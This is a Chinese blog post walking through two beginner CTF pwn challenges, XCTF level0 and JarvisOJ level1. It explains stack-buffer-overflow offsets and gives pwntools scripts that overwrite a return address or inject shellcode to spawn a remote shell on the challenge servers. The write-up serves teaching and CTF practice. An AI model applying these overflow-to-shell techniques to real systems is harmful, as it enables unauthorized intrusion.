pwn入门xctf:level0和[JarvisOj]:level1题解

xctf的pwn题level0

这是一个简单的栈溢出题 打开题目下载附件拖到虚拟机中查看它的各种保护机制

发现栈区不可执行 我们用物理机中的IDA看一下

 

输出字符串helloWord之后执行vulnerable_function()函数,没有与用户交互,跟进去查看发现无参数传入,buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转。

接下来查找字符串/bin/sh,再一路跟进到callsystem函数,发现可以在read时,将函数返回地址覆盖为callsystem函数地址,则可实现漏洞利用

然后我们推测一下返回地址 ,查看vulnerable_function()函数汇编代码

push之后,add指令开辟buf空间,retn指令之前多了个leave指令,

leave指令

在16位汇编下相当于:
mov sp,bp
pop bp
 
在32位汇编下相当于:
mov esp,ebp
pop ebp
 
/* leave指令将EBP寄存器的内容复制到ESP寄存器中,
以释放分配给该过程的所有堆栈空间。然后,它从堆栈恢复EBP寄存器的旧值。*/

就是在函数返回之前,有一次pop操作,要通过read函数覆盖返回地址,则还需将push指令的内容覆盖,ELF文件为64位程序,pop指令后64位2进制出栈,即8个字符大小(push类似),所以运行的脚本中需要有payload = 0x88*'a' + p64(call_system)

脚本如下:

from pwn import *    #导入pwntools中pwn包的所有内容
p = remote("111.198.29.45","56927") #链接服务器远程交互,等同于nc ip 端口 命令
call_system = 0x400596   #ELF文件中callsystem标记的地址
payload = 0x88*'a' + p64(call_system) #先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址
p.sendline(payload) #送payload
p.interactive() #反弹shell进行交互

运行得到返回的shell 再cat得到flag

PS:如果出现如下错误:

重新获取一下题目场景 修改远程登录的ip和端口

[JarvisOj]:level1:

和上边题很相似很多语句和上题也相似。

先放脚本 运行脚本

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

shellcode = asm(shellcraft.sh())
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]

buf_addr = int(text, 16)

payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()

把脚本单句运行

[14:-2]只是python里面的一个切片,代表”What’sthis:0xffee6c50?”

这句话取第14个到倒数第二个字符

这里的text为buf的地址,只不过是字符型的,需要int(text,16)用16进制的方法转化为int型

相比level0,这里多加了一个shellcode,和多减了一个len(shellcode),shellcode和p32(buf_addr)的值如下图

过程:同样用checksec查一下保护。几乎没开什么保护措施。关键的是NX没开,意味着栈上的数据可执行。

用ida反汇编,找到溢出点。

跟进没有找到system函数了,但是发现这个函数调用了printf函数,输出了buf的地址,NX保护是关闭的,那么就意味着,如果将shellcode写到buf中,函数返回时跳转到buf位置,就可以执行shellcode了

然后跟进分析 写出脚本就如上边的 运行获得shell

参考:https://www.jianshu.com/p/d267577c7af1

https://www.jianshu.com/p/d267577c7af1

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值